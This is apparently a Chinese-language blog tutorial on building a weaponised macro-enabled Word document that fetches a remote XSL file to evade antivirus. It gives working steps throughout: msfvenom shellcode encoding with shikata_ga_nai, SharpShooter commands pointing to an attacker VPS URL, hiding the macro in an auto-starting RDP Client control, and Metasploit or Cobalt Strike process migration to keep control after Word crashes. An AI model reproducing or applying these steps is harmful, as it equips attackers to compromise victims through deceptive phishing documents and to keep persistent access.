从uknow师傅这看到的,自己动手做了一遍记录一下。原文在这里
在本文中删除了uknow师傅通过编辑宏来触发上线的哪一段,经过试验,个人觉得其后面一部分实用性强一点。遂保留记录。

生成payload

首先使用Cobalt Strike或者Metasploit生成二进制格式的shellcode,即后缀为bin的文件。
此处以CS为例:
远程加载XSL文件达到免杀并增加文档迷惑性 - 图1

处理payload

因为SharpShooter要求shellcode中不能含有空字节。所以使用msfvenom对payload.bin进行处理生成shellcode-encoded.bin文件

  1. msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b "\x00"

远程加载XSL文件达到免杀并增加文档迷惑性 - 图2

生成xsl和macro

SharpShooter下载到本地然后安装好依赖,建议使用python2安装
将shellcode-encoded.bin文件放置脚本同目录下
使用如下命令生成xsl文件和macro文件(需要修改vps地址)

SharpShooter.py --stageless --dotnetver 4 --payload macro --output foo --rawscfile shellcode-encoded.bin --com xslremote --awlurl http://*.*.*.*:8080/foo.xsl

简单介绍一下上面的几个参数:

  • dotnetver:为目标的.net版本,可选2或者4
  • awlurl: 为xsl存放地址

远程加载XSL文件达到免杀并增加文档迷惑性 - 图3
生成的foo.macro内容大致如下:
远程加载XSL文件达到免杀并增加文档迷惑性 - 图4
生成的foo.xsl内容大致如下:
远程加载XSL文件达到免杀并增加文档迷惑性 - 图5

迷惑性处理

将foo.xsl文件上传至vps,并开启http服务
远程加载XSL文件达到免杀并增加文档迷惑性 - 图6
新建一个 启用宏的Word文档 ,进入开发工具,选择旧式控件 — 其他控件 — Microsoft RDP Client Control *(文章中使用的是version 2)
远程加载XSL文件达到免杀并增加文档迷惑性 - 图7
远程加载XSL文件达到免杀并增加文档迷惑性 - 图8
右键属性,将server值填为localhost,将StartConnection值填为1,即点开自启动
远程加载XSL文件达到免杀并增加文档迷惑性 - 图9
再右键查看代码,将foo.macro中间部分的代码填入其中
远程加载XSL文件达到免杀并增加文档迷惑性 - 图10
如下图所示:
远程加载XSL文件达到免杀并增加文档迷惑性 - 图11
保存后再次打开,可以看到已经显示为 “部分活动内容已被禁用”
远程加载XSL文件达到免杀并增加文档迷惑性 - 图12
若点击启用内容,即可看到已经上线。

进程迁移

虽然上线成功,但是可以注意到上一下会就掉线了,按uknow老哥文章所说:office宏加载远程的.xsl文件有个缺点就是,点击启用宏后word进程会崩掉,如word进程被结束了,Cobalt Strike或者Metasploit会掉线。
所以这里需要进行自动进程迁移。
处理方法:

  • Cobalt Strike:通过插件实现上线后自动迁移进程, Beacon Handler Suite
  • Metasploit: 在设置监听的时间可以设置:
    set autorunscript migrate -N explorer.exe 或 set autorunscript -f
    
    这样可以实现在word进程被关闭后,得到一个新的会话,即持久的控制目标。
    将beacon_handler文件下载下来后,修改init.cna中第37行为true,开启beacon自动进程迁移,其他的看着改吧。(我这里还改了sleep时间)
    远程加载XSL文件达到免杀并增加文档迷惑性 - 图13